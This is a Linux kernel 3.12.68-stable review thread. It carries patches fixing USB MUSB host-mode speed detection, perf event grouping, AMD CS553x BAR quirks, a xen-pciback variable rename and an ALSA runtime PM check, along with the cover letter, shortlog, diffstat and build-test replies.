Signature · 2 lines
js suse labs
PATCH 123/127 usb: musb: musb_cppi41: recognize HS devices in hostmode
In reply to Jiri SlabyFrom: Sebastian Andrzej Siewior <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 1eec34e9f25664cf71e05321329d128e0565beae upstream.
There is a poll loop for max 25us for HS devices. Now guess what, I tested it in gadget mode and forgot about the little detail. Nobody seem to have it noticed…
This patch adds the missing logic for hostmode so it is recognized in host and device mode properly.
programmed channel length")
--- drivers/usb/musb/musb_cppi41.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-)
drivers/usb/musb/musb_cppi41.c +9 -1
@@ -234,6 +234,7 @@ static void cppi41_dma_callback(void *private_data)cppi41_trans_done (cppi41_channel); }else {struct cppi41_dma_controller *controller; +int is_hs =0 ;/* * On AM335x it has been observed that the TX interrupt fires * too early that means the TXFIFO is not yet empty but the DMA
@@ -246,7 +247,14 @@ static void cppi41_dma_callback(void *private_data)*/ controller = cppi41_channel->controller; -if (musb->g.speed ==USB_SPEED_HIGH ) { +if (is_host_active (musb)) { +if (musb->port1_status &USB_PORT_STAT_HIGH_SPEED ) + is_hs =1 ; + }else { +if (musb->g.speed ==USB_SPEED_HIGH ) + is_hs =1 ; + } +if (is_hs) {unsigned wait =25 ; do {
Signature · 1 line
2.10.2
PATCH 124/127 perf: Tighten (and fix) the grouping condition
In reply to Jiri SlabyFrom: Peter Zijlstra <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit c3c87e770458aa004bd7ed3f29945ff436fd6511 upstream.
The fix from 9fc81d87420d ("perf: Fix events installation during moving group") was incomplete in that it failed to recognise that creating a group with events for different CPUs is semantically broken -- they cannot be co-scheduled.
Furthermore, it leads to real breakage where, when we create an event for CPU Y and then migrate it to form a group on CPU X, the code gets confused where the counter is programmed -- triggered in practice as well by me via the perf fuzzer.
Fix this by tightening the rules for creating groups. Only allow grouping of counters that can be co-scheduled in the same context. This means for the same task and/or the same cpu.
--- include/linux/perf_event.h | 6 ------ kernel/events/core.c | 15 +++++++++++++-- 2 files changed, 13 insertions(+), 8 deletions(-)
include/linux/perf_event.h +0 -6
@@ -439,11 +439,6 @@ struct perf_event {#endif /* CONFIG_PERF_EVENTS */ }; -enum perf_event_context_type { - task_context, - cpu_context, -}; -/** * struct perf_event_context - event context structure *
@@ -451,7 +446,6 @@ enum perf_event_context_type {*/ struct perf_event_context {struct pmu *pmu; -enum perf_event_context_type type;/* * Protect the states of the events in the list, * nr_active, and the list:
kernel/events/core.c +13 -2
@@ -6503,7 +6503,6 @@ skip_type:__perf_event_init_context (&cpuctx->ctx);lockdep_set_class (&cpuctx->ctx.mutex, &cpuctx_mutex);lockdep_set_class (&cpuctx->ctx.lock, &cpuctx_lock); - cpuctx->ctx.type = cpu_context; cpuctx->ctx.pmu = pmu;__perf_cpu_hrtimer_init (cpuctx, cpu);
@@ -7136,7 +7135,19 @@ SYSCALL_DEFINE5(perf_event_open,* task or CPU context: */ if (move_group) { -if (group_leader->ctx->type != ctx->type) +/* +* Make sure we're both on the same task, or both +* per-cpu events. +*/ +if (group_leader->ctx->task != ctx->task) + goto err_context; + +/* +* Make sure we're both events for the same CPU; +* grouping events for different CPUs is broken; since +* you can never concurrently schedule them anyhow. +*/ +if (group_leader->cpu != event->cpu) goto err_context; }else {if (group_leader->ctx != ctx)
Signature · 1 line
2.10.2
PATCH 125/127 PCI: Handle read-only BARs on AMD CS553x devices
In reply to Jiri SlabyFrom: Myron Stowe <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 06cf35f903aa6da0cc8d9f81e9bcd1f7e1b534bb upstream.
Some AMD CS553x devices have read-only BARs because of a firmware or hardware defect. There's a workaround in quirk_cs5536_vsa(), but it no longer works after 36e8164882ca ("PCI: Restore detection of read-only BARs"). Prior to 36e8164882ca, we filled in res->start; afterwards we leave it zeroed out. The quirk only updated the size, so the driver tried to use a region starting at zero, which didn't work.
Expand quirk_cs5536_vsa() to read the base addresses from the BARs and hard-code the sizes.
On Nix's system BAR 2's read-only value is 0x6200. Prior to 36e8164882ca, we interpret that as a 512-byte BAR based on the lowest-order bit set. Per datasheet sec 5.6.1, that BAR (MFGPT) requires only 64 bytes; use that to avoid clearing any address bits if a platform uses only 64-byte alignment.
[js] pcibios_bus_to_resource takes pdev, not bus in 3.12
--- drivers/pci/quirks.c | 41 +++++++++++++++++++++++++++++++++++++---- 1 file changed, 37 insertions(+), 4 deletions(-)
drivers/pci/quirks.c +37 -4
@@ -339,19 +339,52 @@ static void quirk_s3_64M(struct pci_dev *dev)DECLARE_PCI_FIXUP_HEADER (PCI_VENDOR_ID_S3 ,PCI_DEVICE_ID_S3_868 , quirk_s3_64M);DECLARE_PCI_FIXUP_HEADER (PCI_VENDOR_ID_S3 ,PCI_DEVICE_ID_S3_968 , quirk_s3_64M); +static void quirk_io (struct pci_dev *dev,int pos,unsigned size, +const char *name) +{ +u32 region; +struct pci_bus_region bus_region; +struct resource *res = dev->resource + pos; + +pci_read_config_dword (dev,PCI_BASE_ADDRESS_0 + (pos <<2 ), ®ion); + +if (!region) +return ; + + res->name =pci_name (dev); + res->flags = region & ~PCI_BASE_ADDRESS_IO_MASK ; + res->flags |= + (IORESOURCE_IO |IORESOURCE_PCI_FIXED |IORESOURCE_SIZEALIGN ); + region &= ~(size -1 ); + +/* Convert from PCI bus to resource space */ + bus_region.start = region; + bus_region.end = region + size -1 ; +pcibios_bus_to_resource (dev, res, &bus_region); + +dev_info (&dev->dev,FW_BUG "%s quirk: reg 0x%x: %pR\n" , + name,PCI_BASE_ADDRESS_0 + (pos <<2 ), res); +} +/* * Some CS5536 BIOSes (for example, the Soekris NET5501 board w/ comBIOS * ver. 1.33 20070103) don't set the correct ISA PCI region header info. * BAR0 should be 8 bytes; instead, it may be set to something like 8k * (which conflicts w/ BAR1's memory range). +* +* CS553x's ISA PCI BARs may also be read-only (ref: +* https://bugzilla.kernel.org/show_bug.cgi?id=85991 - Comment #4 forward). */ static void quirk_cs5536_vsa (struct pci_dev *dev) { +static char *name ="CS5536 ISA bridge" ; +if (pci_resource_len (dev,0 ) !=8 ) { -struct resource *res = &dev->resource[0 ]; - res->end = res->start +8 -1 ; -dev_info (&dev->dev,"CS5536 ISA bridge bug detected " -"(incorrect header); workaround applied.\n" ); +quirk_io (dev,0 ,8 , name);/* SMB */ +quirk_io (dev,1 ,256 , name);/* GPIO */ +quirk_io (dev,2 ,64 , name);/* MFGPT */ +dev_info (&dev->dev,"%s bug detected (incorrect header); workaround applied\n" , + name); } }DECLARE_PCI_FIXUP_HEADER (PCI_VENDOR_ID_AMD ,PCI_DEVICE_ID_AMD_CS5536_ISA , quirk_cs5536_vsa);
Signature · 1 line
2.10.2
PATCH 126/127 xen-pciback: Add name prefix to global 'permissive' variable
In reply to Jiri SlabyFrom: Ben Hutchings <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 8014bcc86ef112eab9ee1db312dba4e6b608cf89 upstream.
The variable for the 'permissive' module parameter used to be static but was recently changed to be extern. This puts it in the kernel global namespace if the driver is built-in, so its name should begin with a prefix identifying the driver.
--- drivers/xen/xen-pciback/conf_space.c | 6 +++--- drivers/xen/xen-pciback/conf_space.h | 2 +- drivers/xen/xen-pciback/conf_space_header.c | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-)
drivers/xen/xen-pciback/conf_space.c +3 -3
@@ -16,8 +16,8 @@#include "conf_space.h" #include "conf_space_quirks.h" -bool permissive; -module_param (permissive, bool,0644 ); +bool xen_pcibk_permissive; +module_param_named (permissive, xen_pcibk_permissive, bool,0644 );/* This is where xen_pcibk_read_config_byte, xen_pcibk_read_config_word, * xen_pcibk_write_config_word, and xen_pcibk_write_config_byte are created. */
@@ -260,7 +260,7 @@ int xen_pcibk_config_write(struct pci_dev *dev, int offset, int size, u32 value)* This means that some fields may still be read-only because * they have entries in the config_field list that intercept * the write and do nothing. */ -if (dev_data->permissive || permissive) { +if (dev_data->permissive || xen_pcibk_permissive) {switch (size) {case 1 : err = pci_write_config_byte(dev, offset,
drivers/xen/xen-pciback/conf_space.h +1 -1
@@ -64,7 +64,7 @@ struct config_field_entry {void *data; }; -extern bool permissive; +extern bool xen_pcibk_permissive;#define OFFSET (cfg_entry) ((cfg_entry)->base_offset+(cfg_entry)->field->offset)
drivers/xen/xen-pciback/conf_space_header.c +1 -1
@@ -105,7 +105,7 @@ static int command_write(struct pci_dev *dev, int offset, u16 value, void *data) cmd->val = value; -if (!permissive && (!dev_data || !dev_data->permissive)) +if (!xen_pcibk_permissive && (!dev_data || !dev_data->permissive))return 0 ;/* Only allow the guest to control certain bits. */
Signature · 1 line
2.10.2
PATCH 127/127 ALSA: usb-audio: Fix runtime PM unbalance
In reply to Jiri SlabyFrom: Takashi Iwai <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 9003ebb13f61e8c78a641e0dda7775183ada0625 upstream.
The fix for deadlock in PM in commit [1ee23fe07ee8: ALSA: usb-audio:
Fix deadlocks at resuming] introduced a new check of in_pm flag. However, the brainless patch author evaluated it in a wrong way (logical AND instead of logical OR), thus usb_autopm_get_interface() is wrongly called at probing, leading to unbalance of runtime PM refcount.
This patch fixes it by correcting the logic.
--- sound/usb/card.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
sound/usb/card.c +1 -1
@@ -661,7 +661,7 @@ int snd_usb_autoresume(struct snd_usb_audio *chip)int err = -ENODEV ;down_read (&chip->shutdown_rwsem); -if (chip->probing && chip->in_pm) +if (chip->probing || chip->in_pm) err =0 ;else if (!chip->shutdown) err =usb_autopm_get_interface (chip->pm_intf);
Signature · 1 line
2.10.2
cover 3.12.68-stable review
This is the start of the stable review cycle for the 3.12.68 release. There are 127 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Tue Nov 29 09:28:41 CET 2016. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
http://kernel.org/pub/linux/kernel/people/jirislaby/stable-review/patch-3.12.68-rc1.xz
and the diffstat can be found below.
thanks,
js
===============
AceLan Kao (1):
HID: input: add mic mute key on HP slim keyboard
Alex Deucher (1):
drm/radeon/si_dpm: workaround for SI kickers
Alexander Usyskin (1):
mei: bus: fix received data size check in NFC fixup
Andrew Collins (1):
net: Add netdev all_adj_list refcnt propagation to fix panic
Andrey Ryabinin (1):
coredump: fix unfreezable coredumping task
Anoob Soman (1):
packet: call fanout_release, while UNREGISTERING a netdev
Ard Biesheuvel (2):
mm: export symbol dependencies of is_zero_pfn()
KVM: check for !is_zero_pfn() in kvm_is_mmio_pfn()
Arnd Bergmann (4):
ARM: 8584/1: floppy: avoid gcc-6 warning
drm/exynos: fix error handling in exynos_drm_subdrv_open
smc91x: avoid self-comparison warning
staging: iio: ad5933: avoid uninitialized variable in error case
Arve Hjønnevåg (2):
ANDROID: binder: Add strong ref checks
ANDROID: binder: Clear binder and cookie when setting handle in flat
binder struct
Baoquan He (1):
iommu/amd: Free domain id when free a domain of struct dma_ops_domain
Ben Hutchings (2):
drivers/net: Disable UFO through virtio
xen-pciback: Add name prefix to global 'permissive' variable
Boris Brezillon (1):
UBI: fastmap: scrub PEB when bitflips are detected in a free PEB EC
header
Borislav Petkov (1):
kbuild: Steal gcc's pie from the very beginning
Ching Huang (1):
scsi: arcmsr: Send SYNCHRONIZE_CACHE command to firmware
Daniel Jurgens (1):
IB/mlx5: Use cache line size to select CQE stride
Daniel Mentz (1):
lib/genalloc.c: start search from start of chunk
Darrick J. Wong (1):
libxfs: clean up _calc_dquots_per_chunk
David Howells (1):
KEYS: Fix short sprintf buffer in /proc/keys show function
David Hsu (1):
pwm: Unexport children before chip removal
David S. Miller (6):
sparc: Don't leak context bits into thread->fault_address
sparc64: Handle extremely large kernel TSB range flushes sanely.
sparc64: Fix illegal relative branches in hypervisor patched TLB code.
sparc64: Fix instruction count in comment for
__hypervisor_flush_tlb_pending.
sparc64: Fix illegal relative branches in hypervisor patched TLB
cross-call code.
sparc64: Handle extremely large kernel TLB range flushes more
gracefully.
Denys Vlasenko (1):
include/stddef.h: Move offsetofend() from vfio.h to a generic kernel
header
Dmitry Vyukov (1):
tty: limit terminal size to 4M chars
Dominik Dingel (1):
mm: hugetlb: allow hugepages_supported to be architecture specific
Douglas Caetano dos Santos (1):
tcp: fix wrong checksum calculation on MTU probing
Eli Cohen (1):
IB/mlx5: Fix fatal error dispatching
Eli Cooper (1):
ip6_tunnel: Clear IP6CB in ip6tunnel_xmit()
Eric Dumazet (11):
net: fix sk_mem_reclaim_partial()
tcp: fix overflow in __tcp_retransmit_skb()
net: avoid sk_forward_alloc overflows
net: clear sk_err_soft in sk_clone_lock()
net: mangle zero checksum in skb_checksum_help()
tcp: fix potential memory corruption
dccp: do not send reset to already closed sockets
dccp: fix out of bound access in dccp_v4_err()
ipv6: dccp: fix out of bound access in dccp_v6_err()
ipv6: dccp: add missing bind_conflict to dccp_ipv6_mapped
tcp: take care of truncations done by sk_filter()
Ewan D. Milne (1):
scsi: scsi_debug: Fix memory leak if LBP enabled and module is
unloaded
Fabio Estevam (1):
mmc: mxs: Initialize the spinlock prior to using it
Felipe Balbi (2):
usb: gadget: function: u_ether: don't starve tx request queue
usb: gadget: u_ether: remove interrupt throttling
Gavin Shan (1):
drivers/vfio: Rework offsetofend()
Hugh Dickins (1):
cgroup: use an ordered workqueue for cgroup destruction
Ido Yariv (1):
KVM: x86: fix wbinvd_dirty_mask use-after-free
Ignacio Alvarado (1):
KVM: Disable irq while unregistering user notifier
James Clarke (1):
sparc: Handle negative offsets in arch_jump_label_transform
James Hogan (3):
KVM: MIPS: Drop other CPU ASIDs on guest MMU changes
KVM: MIPS: Precalculate MMIO load resume PC
KVM: MIPS: Make ERET handle ERL before EXL
Jan Beulich (1):
x86/mm/xen: Suppress hugetlbfs in PV guests
Jann Horn (2):
swapfile: fix memory corruption via malformed swapfile
netfilter: fix namespace handling in nf_log_proc_dostring
Jiri Slaby (3):
Revert "KVM: MIPS: Drop other CPU ASIDs on guest MMU changes"
tty: vt, fix bogus division in csi_J
net: sctp, forbid negative length
Joe Perches (1):
stddef.h: move offsetofend inside #ifndef/#endif guard, neaten
Johan Hovold (5):
USB: serial: fix potential NULL-dereference at probe
USB: serial: cp210x: fix tiocmget error handling
mfd: core: Fix device reference leak in mfd_clone_cell
uwb: fix device reference leaks
PM / sleep: fix device reference leak in test_suspend
Johannes Berg (1):
mac80211: discard multicast and 4-addr A-MSDUs
Johannes Weiner (1):
mm: filemap: update find_get_pages_tag() to deal with shadow entries
John David Anglin (1):
parisc: Ensure consistent state when switching to kernel stack at
syscall entry
Juergen Gross (1):
x86/xen: fix upper bound of pmd loop in xen_cleanhighmap()
Kashyap Desai (1):
scsi: megaraid_sas: Fix data integrity failure for JBOD (passthrough)
devices
Lance Richardson (1):
ip6_gre: fix flowi6_proto value in ip6gre_xmit_other()
Laura Abbott (1):
HID: usbhid: Add HID_QUIRK_NOGET for Aten DVI KVM switch
Linus Torvalds (1):
Fix potential infoleak in older kernels
Long Li (1):
hv: do not lose pending heartbeat vmbus packets
Lucas Stach (1):
drm/radeon: drop register readback in cayman_cp_int_cntl_setup
Marcel Hasler (1):
ALSA: usb-audio: Add quirk for Syntek STK1160
Marcelo Ricardo Leitner (2):
sctp: validate chunk len before actually using it
sctp: assign assoc_id earlier in __sctp_connect
Mark Bloch (1):
IB/cm: Mark stale CM id's whenever the mad agent was unregistered
Matan Barak (1):
IB/mlx4: Fix create CQ error flow
Mathias Nyman (1):
xhci: add restart quirk for Intel Wildcatpoint PCH
Matt Redfearn (1):
virtio: console: Unlock vqs while freeing buffers
Michael Holzheu (1):
s390/hypfs: Use get_free_page() instead of kmalloc to ensure page
alignment
Mike Kravetz (1):
sparc64 mm: Fix base TSB sizing when hugetlb pages are used
Myron Stowe (1):
PCI: Handle read-only BARs on AMD CS553x devices
Nicholas Mc Guire (1):
MIPS: KVM: Fix unused variable build warning
Nicolas Dichtel (1):
ipv6: correctly add local routes when lo goes up
Nikolay Aleksandrov (2):
ipmr, ip6mr: fix scheduling while atomic and a deadlock with
ipmr_get_route
bridge: multicast: restore perm router ports on multicast enable
Oliver Hartkopp (1):
can: bcm: fix warning in bcm_connect/proc_register
Oliver Neukum (1):
HID: usbhid: add ATEN CS962 to list of quirky devices
Paolo Bonzini (1):
KVM: x86: fix missed SRCU usage in kvm_lapic_set_vapic_addr
Patrick Scheuring (1):
Input: i8042 - add XMG C504 to keyboard reset table
Paul Fertser (2):
drivers: staging: nvec: remove bogus reset command for PS/2 interface Revert "staging: nvec: ps2: change serio type to passthrough"
Peter Hurley (1):
tty: Prevent ldisc drivers from re-using stale tty fields
Peter Zijlstra (1):
perf: Tighten (and fix) the grouping condition
Punit Agrawal (1):
ACPI / APEI: Fix incorrect return value of ghes_proc()
Richard Weinberger (4):
UBIFS: Fix possible memory leak in ubifs_readdir()
ubifs: Abort readdir upon error
ubifs: Fix regression in ubifs_readdir()
drbd: Fix kernel_sendmsg() usage - potential NULL deref
Scot Doyle (1):
vt: clear selection before resizing
Sean Young (1):
dib0700: fix nec repeat handling
Sebastian Andrzej Siewior (3):
kbuild: add -fno-PIE scripts/has-stack-protector: add -fno-PIE
usb: musb: musb_cppi41: recognize HS devices in hostmode
Stefan Richter (2):
firewire: net: guard against rx buffer overflows
firewire: net: fix fragmented datagram_size off-by-one
Stefan Tauner (1):
USB: serial: ftdi_sio: add support for Infineon TriBoard TC2X7
Stephen Suryaputra Lin (1):
ipv4: use new_gw for redirect neigh lookup
Sumit Saxena (1):
scsi: megaraid_sas: fix macro MEGASAS_IS_LOGICAL to avoid regression
Takashi Iwai (2):
ALSA: hda - Merge RIRB_PRE_DELAY into CTX_WORKAROUND caps
ALSA: usb-audio: Fix runtime PM unbalance
Tariq Toukan (1):
IB/uverbs: Fix leak of XRC target QPs
Theodore Ts'o (1):
ext4: sanity check the block and cluster size at mount time
Tom St Denis (1):
drm/radeon/si_dpm: Limit clocks on HD86xx part
WANG Cong (1):
neigh: check error pointer instead of NULL for ipv4_neigh_lookup()
Yuta Kobayashi (1):
HID: microsoft: Add Surface 4 type cover pro 4 (JP)
murray foster (1):
ASoC: cs4270: fix DAPM stream name mismatch
Makefile | 5 +- arch/arm/include/asm/floppy.h | 2 +- arch/mips/include/asm/kvm_host.h | 7 +- arch/mips/kvm/kvm_mips_emul.c | 45 ++- arch/mips/mm/init.c | 1 + arch/parisc/kernel/syscall.S | 11 +- arch/s390/hypfs/hypfs_diag.c | 6 +- arch/s390/mm/init.c | 1 + arch/sparc/include/asm/mmu_64.h | 3 +- arch/sparc/kernel/dtlb_prot.S | 4 +- arch/sparc/kernel/jump_label.c | 23 +- arch/sparc/kernel/ktlb.S | 12 + arch/sparc/kernel/tsb.S | 12 +- arch/sparc/mm/fault_64.c | 6 +- arch/sparc/mm/hugetlbpage.c | 4 +- arch/sparc/mm/init_64.c | 3 +- arch/sparc/mm/tlb.c | 4 +- arch/sparc/mm/tsb.c | 31 +- arch/sparc/mm/ultra.S | 374 +++++++++++++++++++----- arch/x86/include/asm/hugetlb.h | 1 + arch/x86/include/asm/uaccess.h | 2 +- arch/x86/kvm/x86.c | 20 +- arch/x86/xen/mmu.c | 2 +- drivers/acpi/apei/ghes.c | 2 +- drivers/block/drbd/drbd_main.c | 2 +- drivers/char/virtio_console.c | 22 +- drivers/firewire/net.c | 59 ++-- drivers/gpu/drm/exynos/exynos_drm_core.c | 2 +- drivers/gpu/drm/radeon/ni.c | 4 +- drivers/gpu/drm/radeon/si_dpm.c | 53 +++- drivers/hid/hid-core.c | 2 + drivers/hid/hid-ids.h | 3 + drivers/hid/hid-input.c | 1 + drivers/hid/hid-microsoft.c | 2 + drivers/hid/usbhid/hid-quirks.c | 3 + drivers/hv/hv_util.c | 10 +- drivers/infiniband/core/cm.c | 127 +++++++- drivers/infiniband/core/uverbs_main.c | 7 +- drivers/infiniband/hw/mlx4/cq.c | 5 +- drivers/infiniband/hw/mlx5/cq.c | 3 +- drivers/infiniband/hw/mlx5/main.c | 6 +- drivers/input/serio/i8042-x86ia64io.h | 7 + drivers/iommu/amd_iommu.c | 3 + drivers/media/usb/dvb-usb/dib0700_core.c | 5 +- drivers/mfd/mfd-core.c | 2 + drivers/misc/mei/nfc.c | 2 +- drivers/mmc/host/mxs-mmc.c | 4 +- drivers/mtd/ubi/fastmap.c | 7 +- drivers/net/ethernet/smsc/smc91x.c | 2 +- drivers/net/macvtap.c | 13 +- drivers/net/tun.c | 19 +- drivers/net/virtio_net.c | 24 +- drivers/pci/quirks.c | 41 ++- drivers/pwm/core.c | 2 + drivers/pwm/sysfs.c | 18 ++ drivers/scsi/arcmsr/arcmsr_hba.c | 9 - drivers/scsi/megaraid/megaraid_sas.h | 2 +- drivers/scsi/megaraid/megaraid_sas_base.c | 13 +- drivers/scsi/scsi_debug.c | 1 + drivers/staging/android/binder.c | 35 ++- drivers/staging/iio/impedance-analyzer/ad5933.c | 17 +- drivers/staging/nvec/nvec_ps2.c | 6 +- drivers/tty/tty_ldisc.c | 7 + drivers/tty/vt/vt.c | 7 +- drivers/usb/gadget/u_ether.c | 7 - drivers/usb/host/xhci-pci.c | 4 +- drivers/usb/musb/musb_cppi41.c | 10 +- drivers/usb/serial/cp210x.c | 4 +- drivers/usb/serial/ftdi_sio.c | 3 +- drivers/usb/serial/ftdi_sio_ids.h | 5 +- drivers/usb/serial/usb-serial.c | 3 +- drivers/uwb/lc-rc.c | 16 +- drivers/uwb/pal.c | 2 + drivers/xen/xen-pciback/conf_space.c | 6 +- drivers/xen/xen-pciback/conf_space.h | 2 +- drivers/xen/xen-pciback/conf_space_header.c | 2 +- fs/coredump.c | 3 + fs/ext4/ext4.h | 1 + fs/ext4/super.c | 17 +- fs/ubifs/dir.c | 21 +- fs/xfs/xfs_dquot.c | 3 +- include/linux/filter.h | 6 +- include/linux/hugetlb.h | 17 +- include/linux/mroute.h | 2 +- include/linux/mroute6.h | 2 +- include/linux/perf_event.h | 6 - include/linux/pwm.h | 5 + include/linux/stddef.h | 15 +- include/linux/vfio.h | 14 - include/net/ip6_tunnel.h | 1 + include/net/sock.h | 16 +- include/net/tcp.h | 1 + kernel/cgroup.c | 8 +- kernel/events/core.c | 15 +- kernel/power/suspend_test.c | 4 +- lib/genalloc.c | 3 +- mm/filemap.c | 49 ++-- mm/memcontrol.c | 20 +- mm/memory.c | 2 + mm/swapfile.c | 2 + mm/truncate.c | 8 - net/bridge/br_multicast.c | 23 +- net/can/bcm.c | 32 +- net/core/dev.c | 78 ++--- net/core/filter.c | 10 +- net/core/sock.c | 10 +- net/dccp/ipv4.c | 14 +- net/dccp/ipv6.c | 16 +- net/dccp/proto.c | 4 + net/ipv4/ipmr.c | 3 +- net/ipv4/route.c | 9 +- net/ipv4/tcp.c | 2 +- net/ipv4/tcp_ipv4.c | 19 +- net/ipv4/tcp_output.c | 15 +- net/ipv6/addrconf.c | 2 +- net/ipv6/ip6_gre.c | 1 - net/ipv6/ip6mr.c | 5 +- net/ipv6/route.c | 4 +- net/ipv6/tcp_ipv6.c | 6 +- net/mac80211/rx.c | 24 +- net/netfilter/nf_log.c | 6 +- net/packet/af_packet.c | 1 + net/sctp/sm_statefuns.c | 12 +- net/sctp/socket.c | 12 +- scripts/gcc-x86_64-has-stack-protector.sh | 2 +- security/keys/proc.c | 2 +- sound/pci/hda/hda_intel.c | 10 +- sound/soc/codecs/cs4270.c | 8 +- sound/usb/card.c | 2 +- sound/usb/quirks-table.h | 17 ++ virt/kvm/kvm_main.c | 2 +- 131 files changed, 1266 insertions(+), 528 deletions(-)
Signature · 1 line
2.10.2
Re: [PATCH 3.12 000/127] 3.12.68-stable review
Quoted 8 lines · Jiri Slaby
This is the start of the stable review cycle for the 3.12.68 release. There are 127 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Tue Nov 29 09:28:41 CET 2016. Anything received after that time might be too late.
Build results:
total: 128 pass: 128 fail: 0 Qemu test results: total: 89 pass: 89 fail: 0
Details are available at http://kerneltests.org/builders.
Guenter
Re: [PATCH 3.12 000/127] 3.12.68-stable review
Quoted 6 lines · Guenter Roeck
Quoted 5 lines · Jiri Slaby
This is the start of the stable review cycle for the 3.12.68 release. There are 127 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Quoted 8 lines
Quoted 3 lines
Responses should be made by Tue Nov 29 09:28:41 CET 2016. Anything received after that time might be too late.
Build results:
total: 128 pass: 128 fail: 0 Qemu test results: total: 89 pass: 89 fail: 0
Thank you!
Signature · 2 lines
js suse labs